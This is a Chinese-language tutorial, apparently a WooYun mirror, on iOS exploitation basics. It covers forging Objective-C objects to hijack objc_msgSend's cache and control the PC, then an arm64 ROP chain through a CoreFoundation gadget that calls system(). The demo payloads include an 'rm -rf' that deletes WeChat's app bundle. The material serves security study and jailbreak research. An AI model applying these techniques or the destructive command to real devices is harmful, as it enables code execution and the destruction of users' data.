iOS冰與火之歌 – Objective-C Pwn and iOS arm64 ROP

wyzsk發表於2020-08-19
作者: 蒸米 · 2016/01/26 10:29

0x00 序


冰指的是使用者態,火指的是核心態。如何突破像冰箱一樣的使用者態沙盒最終到達並控制如火焰一般燃燒的核心就是《iOS冰與火之歌》這一系列文章將要講述的內容。目錄如下:

  1. Objective-C Pwn and iOS arm64 ROP
  2. █████████████
  3. █████████████
  4. █████████████
  5. █████████████

另外文中涉及程式碼可在我的github下載:
https://github.com/zhengmin1989/iOS_ICE_AND_FIRE

0x01 什麼是Objective-C


Objective-C是擴充C的物件導向程式語言。語法和C非常像,但實現的機制卻和java非常像。我們先來看一個簡單的Hello,World程式瞭解一下。

#!objc
Talker.h:
#import <Foundation/Foundation.h>
@interface Talker : NSObject
- (void) say: (NSString*) phrase;
@end

Talker.m:
#import "Talker.h"
@implementation Talker
- (void) say: (NSString*) phrase {
  NSLog(@"[email protected]", phrase);
}
@end

hello.m:
int main(void) {    
  Talker *talker = [[Talker alloc] init];
  [talker say: @"Hello, Ice and Fire!"];
  [talker say: @"Hello, Ice and Fire!"];
  [talker release];
}

因為測試機是ipad mini 4,這裡我們只編譯一個arm64版本的hello。我們先make一下,然後我們用scp把hello傳到我們的ipad上面,然後嘗試執行一下:

p1

如果我們能夠看到”Hello, Ice and Fire!”,那麼我們的第一個Objective-C程式就完成了。

0x02 Objc_msgSend


我們接下來看一下用ida對hello進行反彙編後的結果:

p2

我們發現程式中充滿了objc_msgSend()這個函式。這個函式可以說是Objective-C的靈魂函式。在Objective-C中,message與方法的真正實現是在執行階段繫結的,而非編譯階段。編譯器會將訊息傳送轉換成對objc_msgSend方法的呼叫。

objc_msgSend方法含兩個必要引數:receiver、方法名(即:selector)。比如如:

[receiver message];將被轉換為:objc_msgSend(receiver, selector);

另外每個物件都有一個指向所屬類的指標isa。透過該指標,物件可以找到它所屬的類,也就找到了其全部父類,如下圖所示:

p3

當向一個物件傳送訊息時,objc_msgSend方法根據物件的isa指標找到物件的類,然後在類的排程表(dispatch table)中查詢selector。如果無法找到selector,objc_msgSend透過指向父類的指標找到父類,並在父類的排程表(dispatch table)中查詢selector,以此類推直到NSObject類。一旦查詢到selector,objc_msgSend方法根據排程表的記憶體地址呼叫該實現。透過這種方式,message與方法的真正實現在執行階段才繫結。

為了保證訊息傳送與執行的效率,系統會將全部selector和使用過的方法的記憶體地址快取起來。每個類都有一個獨立的快取,快取包含有當前類自己的selector以及繼承自父類的selector。查詢排程表(dispatch table)前,訊息傳送系統首先檢查receiver物件的快取。快取命中的情況下,訊息傳送(messaging)比直接呼叫方法(function call)只慢一點點。

其實關於objc_msgSend這個函式,Apple已經提供了原始碼
(比如arm64版本: http://www.opensource.apple.com/source/objc4/objc4-647/runtime/Messengers.subproj/objc-msg-arm64.s)

為了有更高的效率,objc_msgSend這個函式是用匯編實現的:

p4

首先函式會檢測傳遞進來的第一個物件是否為空,然後計算MASK。隨後就會進入快取函式去尋找是否有selector對應的快取:

p5

如果這個selector曾經被呼叫過,那麼在快取中就會儲存這個selector對應的函式地址,如果這個函式再一次被呼叫,objc_msgSend()會直接跳轉到快取的函式地址。

但正因為這個機制,如果我們可以偽造一個receiver物件的話,我們就可以構造一個快取的selector的函式地址,隨後objc_msgSend()就會跳轉到我們偽造的快取函式地址上,從而讓我們可以控制PC指標。

0x03 動態除錯Objc_msgSend


在我們講如何偽造objc物件控制pc前,我們先分析一下執行時的Objc_msgSend()函式。這裡我們用lldb進行除錯。我們先在ipad上用debugserver啟動hello這個程式:

#!bash
Minde-iPad:/tmp root# debugserver *:1234 ./hello 
debugserver-@(#)PROGRAM:debugserver  PROJECT:debugserver-340.3.51.1
 for arm64.
Listening to port 1234 for a connection from *...
Got a connection, launched process ./hello (pid = 1546).

然後在自己的pc上用lldb進行遠端連線:

#!bash
lldb
(lldb) process connect connect://localhost:5555
2016-01-17 14:58:39.540 lldb[59738:4122180] Metadata.framework [Error]: couldn't get the client port
Process 1546 stopped
* thread #1: tid = 0x2b92f, 0x0000000120041000 dyld`_dyld_start, stop reason = signal SIGSTOP
    frame #0: 0x0000000120041000 dyld`_dyld_start
dyld`_dyld_start:
->  0x120041000 <+0>:  mov    x28, sp
    0x120041004 <+4>:  and    sp, x28, #0xfffffffffffffff0
    0x120041008 <+8>:  movz   x0, #0
    0x12004100c <+12>: movz   x1, #0

接著我們可以在main函式那裡設定一個斷點:

#!bash
(lldb) break set --name main
Breakpoint 1: no locations (pending).
WARNING:  Unable to resolve breakpoint to any actual locations.
(lldb) c
Process 1546 resuming
1 location added to breakpoint 1
7 locations added to breakpoint 1
Process 1546 stopped
* thread #1: tid = 0x2b92f, 0x0000000100063e48 hello`main, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
    frame #0: 0x0000000100063e48 hello`main
hello`main:
->  0x100063e48 <+0>:  stp    x22, x21, [sp, #-48]!
    0x100063e4c <+4>:  stp    x20, x19, [sp, #16]
    0x100063e50 <+8>:  stp    x29, x30, [sp, #32]
    0x100063e54 <+12>: add    x29, sp, #32

我們用disas反編譯一下main函式:

p6

接下來我們在0x100063e94和0x100063ea4處下兩個斷點:

#!bash
(lldb) b *0x100063e94
Breakpoint 2: where = hello`main + 76, address = 0x0000000100063e94
(lldb) b *0x100063ea4
Breakpoint 3: where = hello`main + 92, address = 0x0000000100063ea4

隨後我們繼續執行程式,然後用po $x0x/s $x1可以看到receiver和selector的內容:

#!bash
(lldb) c
Process 1546 resuming
Process 1546 stopped
* thread #1: tid = 0x2b92f, 0x0000000100063e94 hello`main + 76, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1
    frame #0: 0x0000000100063e94 hello`main + 76
hello`main:
->  0x100063e94 <+76>: bl     0x100063f18               ; symbol stub for: objc_msgSend
    0x100063e98 <+80>: mov    x0, x19
    0x100063e9c <+84>: mov    x1, x20
    0x100063ea0 <+88>: mov    x2, x21
(lldb) po $x0
<Talker: 0x154604510>

(lldb) x/s $x1
0x100063f77: "say:"

這裡可以看到receiver和selector分別為Talker和say。因此我們可以透過po $x2來知道say這個方法的引數的內容,也就是“ Hello, Ice and Fire!”

#!bash
(lldb) po $x2
Hello, Ice and Fire!

隨後我們用si命令進入objc_msgSend()這個函式:

#!bash
* thread #1: tid = 0x2b92f, 0x0000000199c1dbc0 libobjc.A.dylib`objc_msgSend, queue = 'com.apple.main-thread', stop reason = instruction step into
    frame #0: 0x0000000199c1dbc0 libobjc.A.dylib`objc_msgSend
libobjc.A.dylib`objc_msgSend:
->  0x199c1dbc0 <+0>:  cmp    x0, #0
    0x199c1dbc4 <+4>:  b.le   0x199c1dc2c               ; <+108>
    0x199c1dbc8 <+8>:  ldr    x13, [x0]
    0x199c1dbcc <+12>: and    x9, x13, #0x1fffffff8

我們接著使用disas來看一下objc_msgSend的彙編程式碼:

#!bash
(lldb) disas
libobjc.A.dylib`objc_msgSend:
    0x199c1dbc0 <+0>:   cmp    x0, #0
->  0x199c1dbc4 <+4>:   b.le   0x199c1dc2c               ; <+108>
    0x199c1dbc8 <+8>:   ldr    x13, [x0]
    0x199c1dbcc <+12>:  and    x9, x13, #0x1fffffff8
    0x199c1dbd0 <+16>:  ldp    x10, x11, [x9, #16]
    0x199c1dbd4 <+20>:  and    w12, w1, w11
    0x199c1dbd8 <+24>:  add    x12, x10, x12, lsl #4
    0x199c1dbdc <+28>:  ldp    x16, x17, [x12]
    0x199c1dbe0 <+32>:  cmp    x16, x1
    0x199c1dbe4 <+36>:  b.ne   0x199c1dbec               ; <+44>
0x199c1dbe8 <+40>:  br     x17
    ……

可以看到objc_msgSend最開始做的事情就是從class的快取中獲取selector和對應的地址(ldp x16, x17, [x12]),然後用快取的selector和objc_msgSend()的selector進行比較(cmp x16, x1),如果匹配的話就跳轉到快取的selector的地址上(br x17)。但由於我們是第一次執行[talker say],快取中並沒有對應的函式地址,因此objc_msgSend()還要繼續執行_objc_msgSend_uncached_impcache去類的方法列表裡查詢say這個函式的地址。

那麼我們就繼續執行程式,來看一下第二次呼叫say函式的話會怎麼樣。

#!bash
(lldb) disas
libobjc.A.dylib`objc_msgSend:
    0x199c1dbc0 <+0>:   cmp    x0, #0
    0x199c1dbc4 <+4>:   b.le   0x199c1dc2c               ; <+108>
    0x199c1dbc8 <+8>:   ldr    x13, [x0]
    0x199c1dbcc <+12>:  and    x9, x13, #0x1fffffff8
    0x199c1dbd0 <+16>:  ldp    x10, x11, [x9, #16]
->  0x199c1dbd4 <+20>:  and    w12, w1, w11

當我們繼續執行程式進入objc_msgSend後,在執行完"ldp x10, x11, [x9, #16]"這條指令後,x10會指向儲存了快取資料的地址。我們用x/10gx $x10來檢視一下這個地址的資料,可以看到init()say()這兩個函式都已經被快取了:

#!bash
(lldb) x/10gx $x10

0x146502e10: 0x0000000000000000 0x0000000000000000
0x146502e20: 0x0000000000000000 0x0000000000000000
0x146502e30: 0x000000018b0f613e 0x0000000199c26a6c
0x146502e40: 0x0000000100053f37 0x0000000100053ea4
0x146502e50: 0x0000000000000004 0x000000019ccad6f8 

(lldb) x/s 0x000000018b0f613e
0x18b0f613e: "init"
(lldb) x/s 0x0000000100053f37
0x100053f37: "say:"

前一個資料是selector的地址,後一個資料就是selector對應的函式地址,比如say()這個函式:

#!bash
(lldb) x/10i 0x0000000100053ea4
    0x100053ea4: 0xa9bf7bfd   stp    x29, x30, [sp, #-16]!
    0x100053ea8: 0x910003fd   mov    x29, sp
    0x100053eac: 0xd10043ff   sub    sp, sp, #16
    0x100053eb0: 0xf90003e2   str    x2, [sp]
    0x100053eb4: 0x10000fa0   adr    x0, #500                  ; @"[email protected]"
    0x100053eb8: 0xd503201f   nop    
    0x100053ebc: 0x94000004   bl     0x100053ecc               ; symbol stub for: NSLog
    0x100053ec0: 0x910003bf   mov    sp, x29
    0x100053ec4: 0xa8c17bfd   ldp    x29, x30, [sp], #16
    0x100053ec8: 0xd65f03c0   ret

0x04 偽造ObjC物件控制PC


正如我之前提到的,如果我們可以偽造一個ObjC物件,然後構造一個假的cache的話,我們就有機會控制PC指標了。既然如此我們就來試一下吧。首先我們需要找到selector在記憶體中的地址,這個問題可以使用NSSelectorFromString()這個系統自帶的API來解決,比如我們想知道”release”這個selector的地址,就可以使用NSSelectorFromString(@"release")來獲取。

隨後我們要構建一個假的receiver,假的receiver裡有一個指向假的objc_class的指標,假的objc_class裡又儲存了假的cache_buckets的指標和mask。假的cache_buckets的指標最終指向我們將要偽造的selectorselector函式的地址:

#!objc
struct fake_receiver_t
{
    uint64_t fake_objc_class_ptr;
}fake_receiver;

struct fake_objc_class_t {
    char pad[0x10];
    void* cache_buckets_ptr;
    uint32_t cache_bucket_mask;
} fake_objc_class;

struct fake_cache_bucket_t {
    void* cached_sel;
    void* cached_function;
} fake_cache_bucket;

接下來我們在main函式中嘗試將talker這個receiver改成我們偽造的receiver,然後利用偽造的”release” selector來控制PC指向0x41414141414141這個地址:

#!objc
int main(void) {

    Talker *talker = [[Talker alloc] init];
    [talker say: @"Hello, Ice and Fire!"];
    [talker say: @"Hello, Ice and Fire!"];
    [talker release];

    fake_cache_bucket.cached_sel = (void*) NSSelectorFromString(@"release");
    NSLog(@"cached_sel = %p", NSSelectorFromString(@"release"));

    fake_cache_bucket.cached_function = (void*)0x41414141414141;
    NSLog(@"fake_cache_bucket.cached_function = %p", (void*)fake_cache_bucket.cached_function);

    fake_objc_class.cache_buckets_ptr = &fake_cache_bucket;
    fake_objc_class.cache_bucket_mask=0;

    fake_receiver.fake_objc_class_ptr=&fake_objc_class;
    talker= &fake_receiver;

    [talker release];
}

OK,接下來我們把新編譯的hello傳到我們的ipad上,然後用debugserver進行除錯:

#!bash
Minde-iPad:/tmp root# debugserver *:1234 ./hello 
debugserver-@(#)PROGRAM:debugserver  PROJECT:debugserver-340.3.51.1
 for arm64.
Listening to port 1234 for a connection from *...
Got a connection, launched process ./hello (pid = 1891).

然後我們用lldb進行連線,然後直接執行:

#!bash
MacBookPro:objpwn zhengmin$ lldb
(lldb) process connect connect://localhost:5555
2016-01-17 22:02:45.681 lldb[61258:4325925] Metadata.framework [Error]: couldn't get the client port
Process 1891 stopped
* thread #1: tid = 0x36eff, 0x0000000120029000 dyld`_dyld_start, stop reason = signal SIGSTOP
    frame #0: 0x0000000120029000 dyld`_dyld_start
dyld`_dyld_start:
->  0x120029000 <+0>:  mov    x28, sp
    0x120029004 <+4>:  and    sp, x28, #0xfffffffffffffff0
    0x120029008 <+8>:  movz   x0, #0
    0x12002900c <+12>: movz   x1, #0
(lldb) c
Process 1891 resuming
2016-01-17 22:02:48.575 hello[1891:225023] Hello, Ice and Fire!
2016-01-17 22:02:48.580 hello[1891:225023] Hello, Ice and Fire!
2016-01-17 22:02:48.581 hello[1891:225023] cached_sel = 0x18b0f7191
2016-01-17 22:02:48.581 hello[1891:225023] fake_cache_bucket.cached_function = 0x41414141414141
Process 1891 stopped
* thread #1: tid = 0x36eff, 0x0041414141414141, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=257, address=0x41414141414141)
    frame #0: 0x0041414141414141
error: memory read failed for 0x41414141414000

可以看到我們成功的控制了PC,讓PC指向了0x41414141414141。

0x05 iOS上的arm64 ROP


雖然我們控制了PC,但在iOS上我們並不能採用nmap()或者mprotect()將記憶體改為可讀可寫可執行,如果我們想要讓程式執行一些我們想要的指令的話必須要使用ROP。如果對於ROP不太瞭解的話,我推薦閱讀一下我寫的《一步一步學ROP》系列文章(/papers/?id=11390)

在各個系統中ROP的基本思路是一樣的,這裡我就簡單介紹一下iOS上ROP的思路。

首先要知道的是,在iOS上預設是開啟ASLR+DEP+PIE的。ASLR和DEP很好理解,PIE的意思是program image本身在記憶體中的地址也是隨機的。所以我們在iOS上使用ROP技術必須配合資訊洩露的漏洞才行。雖然在iOS上寫ROP非常困難,但有個好訊息是雖然program image是隨機的,但是每個程式都會載入的dyld_shared_cache這個共享快取的地址在開機後是固定的,並且每個程式的dyld_shared_cache都是相同的。這個dyld_shared_cache有好幾百M大,基本上可以滿足我們對gadgets的需求。因此我們只要在自己的程式獲取dyld_shared_cache的基址就能夠計算出目標程式gadgets的位置。

dyld_shared_cache檔案一般儲存在/System/Library/Caches/com.apple.dyld/這個目錄下。我們下載下來以後就可以用ROPgadget這個工具來搜尋gadget了。我們先實現一個簡單的ROP,用system()函式執行”touch /tmp/IceAndFire”。因為我們x0是我們控制的fake_receiver的地址,因此我們可以搜尋利用x0來控制其他暫存器的gadgets。比如下面這條:

#!bash
ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0xdcf9c ; br x1

隨後我們可以構造一個假的結構體,然後給對應的暫存器賦值:

#!objc
struct fake_receiver_t
{
    uint64_t fake_objc_class_ptr;
    uint8_t pad1[0x70-0x8];
    uint64_t x0;
    uint8_t pad2[0x98-0x70-0x8];
    uint64_t x1;
    char cmd[1024];
}fake_receiver;

fake_receiver.x0=(uint64_t)&fake_receiver.cmd;
fake_receiver.x1=(void *)dlsym(RTLD_DEFAULT, "system");
NSLog(@"system_address = %p", (void*)fake_receiver.x1);
strcpy(fake_receiver.cmd, "touch /tmp/IceAndFire");

最後我們將cached_function的值指向我們gagdet的地址就能控制程式執行system()指令了:

#!objc
uint8_t* CoreFoundation_base = find_library_load_address("CoreFoundation");
NSLog(@"CoreFoundationbase address = %p", (void*)CoreFoundation_base);

//0x00000000000dcf7c  ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0xdcf9c ; br x1
fake_cache_bucket.cached_function = (void*)CoreFoundation_base + 0x00000000000dcf7c;
NSLog(@"fake_cache_bucket.cached_function = %p", (void*)fake_cache_bucket.cached_function);

編譯完後,我們將hello這個程式傳輸到iOS上測試一下:

p7

發現/tmp目錄下已經成功的建立了IceAndFire這個檔案了。

有人覺得只是在tmp目錄下touch一個檔案並不過癮,那麼我們就嘗試一下刪除其他應用吧。應用的執行檔案都儲存在”/var/mobile/Containers/Bundle/Application/”目錄下,比如微信的執行程式就在”/var/mobile/Containers/Bundle/Application/ED6F728B-CC15-466B-942B-FBC4C534FF95/WeChat.app/WeChat”下(注意ED6F728B-CC15-466B-942B-FBC4C534FF95這個值是在app安裝時隨機分配的)。於是我們將cmd指令換成:

#!objc
strcpy(fake_receiver.cmd, "rm -rf /var/mobile/Containers/Bundle/Application/ED6F728B-CC15-466B-942B-FBC4C534FF95/");

然後再執行一下hello這個程式。程式執行後我們會發現微信的app圖示還在,但當我們嘗試開啟微信的時候app就會秒退。這是因為雖然app被刪了但springboard依然會有圖示的快取。這時候我們只要重啟一下springboard或者手機就可以清空對應的圖示的快取了。這也就是為啥demo中的影片需要重啟一下手機的原因:

<embed>

0x06 總結


這篇文章簡單介紹了iOS上Objective-C 的利用以及iOS 上arm64 ROP,這些都是越獄需要掌握的最基本的知識。要注意的事,能做到執行system指令是因為我們是在越獄環境下以root身份執行了我們的程式,在非越獄模式下app是沒有許可權執行這些system指令的,想要做到這一點必須利用沙箱逃逸的漏洞才行,我們會在隨後的文章中介紹這些過沙箱的技術,敬請期待。

另外,另外文中涉及程式碼可在我的github下載:

https://github.com/zhengmin1989/iOS_ICE_AND_FIRE

0x07 參考資料


  1. Objective-C訊息機制的原理 http://dangpu.sinaapp.com/?p=119
  2. Abusing the Objective C runtime http://phrack.org/issues/66/4.html
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章